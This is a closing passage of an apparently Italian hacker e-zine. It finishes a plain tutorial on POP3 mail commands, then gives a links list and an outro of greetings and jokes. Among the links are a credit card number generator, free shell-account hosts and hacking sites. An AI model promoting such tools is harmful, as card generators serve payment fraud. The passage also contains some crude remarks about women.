leggiamo le prime righe dei messaggi, così da capire se magari possiamo cancellarle o meno. Esiste anche il comando UIDL, ma è anche difficile, quindi lasciamo perdere anche questo (a dirla tutta, nemmeno io l'ho capito bene bene...). Ricapitolando: Comandi validi nello stato AUTHORIZATION USER username PASS password QUIT Comandi validi nello stato TRANSACTION STAT LIST [numero del messaggio] TOP [numero del messaggio] [fino alla riga] RETR [numero del messaggio] DELE [numero del messaggio] NOOP RSET QUIT Oki, per ora è tutto, forse ci saranno altri miei arts, ci si bekka! mR_bIs0n /===========================::=============================::=================/ / /Links / syn / /===========================::=============================::=================/ Basta con i soliti link, passa ai link che ti offre dirtynet, ovvero l'immmondizia dell'immondizia è comune ! Non sono molti ma accontentatevi... http://www.max.rcs.it sito di max :) http://goolink.supereva.it/?p razza femminile http://letteratura.freeweb.supereva.it Letteratura http://www.sidaweb.com/pres.feminin.htm condom femminile! http://unlimited-tech.net/ web ftp http://www.spippolatori.com italian hack http://www.yakuzaonline.net free account shell http://www.psychoid.lam3rz.de psybnc http://www.twlc.net hack http://www.freedomshell.com free account shell http://www.unseen.org/~simpson/eggdrop eggdrop precompilati http://www.calendariomania.com calendari :) http://www.vectorlounge.com/04_amsterdam/jam/wireframe.html gioco sfizzioso davvero! http://www.guidainlinea.com/portale.htm guide e libri gratis http://www.linuxzine.it/ art e linux http://www.elfqrin.com/DisCard.html generatore di card di credito http://members.xoom.it/vetranks2000/superhacker.AzzurraNet.log il re dei lamer è svelato! http://www.mplayerhq.hu mplayer http://www.belledonne.com razza femminile /===========================::=============================::=================/ / /Outro / syn / /===========================::=============================::=================/ Gente vi saluto. Aspettando il prossimo numero di dn (se ci sarà un domani...) vi posso consigliare di scaricare qualche foto di Aria Giovanni. Ah per tutti quelli che non sanno chi è (ovvio), è una pornostar che appare essere na patatona di primo genere :) Apparte gli scherzi, adesso il team penso si prenderà una pausa; intanto si organizzerà meglio, acquisirà nuovi membri (lo spero!) e si preparerà all'uscita di dn8 che speriamo tutti sia zeppa di art. Che Dio ci assista (il seguente messaggio non vale per i lettori satanici). syn www.accaet.da.ru www.brokerall.da.ru Ringraziamenti e saluti by syn team accaet Giada l'amore di Jrash Gollo Scafuti Chip mio cugino e il suo negozio di computer Immacolata una bella fanciulla Nicola mio amicone Angelocattivo mio amicone di chat (buon anima) Linux mio amicone di ...sistema :) Agnello mio amicone Fons' a patan' mio compagno La mamma di Armando ! :) Norma mio amicone Pinturicchio grande Del Piero Salernitana la mitica squadra, w Zeman Rutelli il mitico politico pagnotta è il cognome della mamma di un mio amico :) Blinky mia amicona di chat (buon anima) NCKxxx mio amicone di chat (buon anima) Sara e Claudia due belle fanciulle vicine di casa zapotecz mio amicone di chat fabry e crycek miei amiconi uazz mio cugino tutti quelli di #severi grandi tutti quelli di #zapolandia grandi Roberto Benigni il mitico comico Aria Giovanni vedi outro :) "Goodbye, all you people, there's nothing you can say to make me change my mind, goodbye" -Pink Floyd, The Wall- #EOF#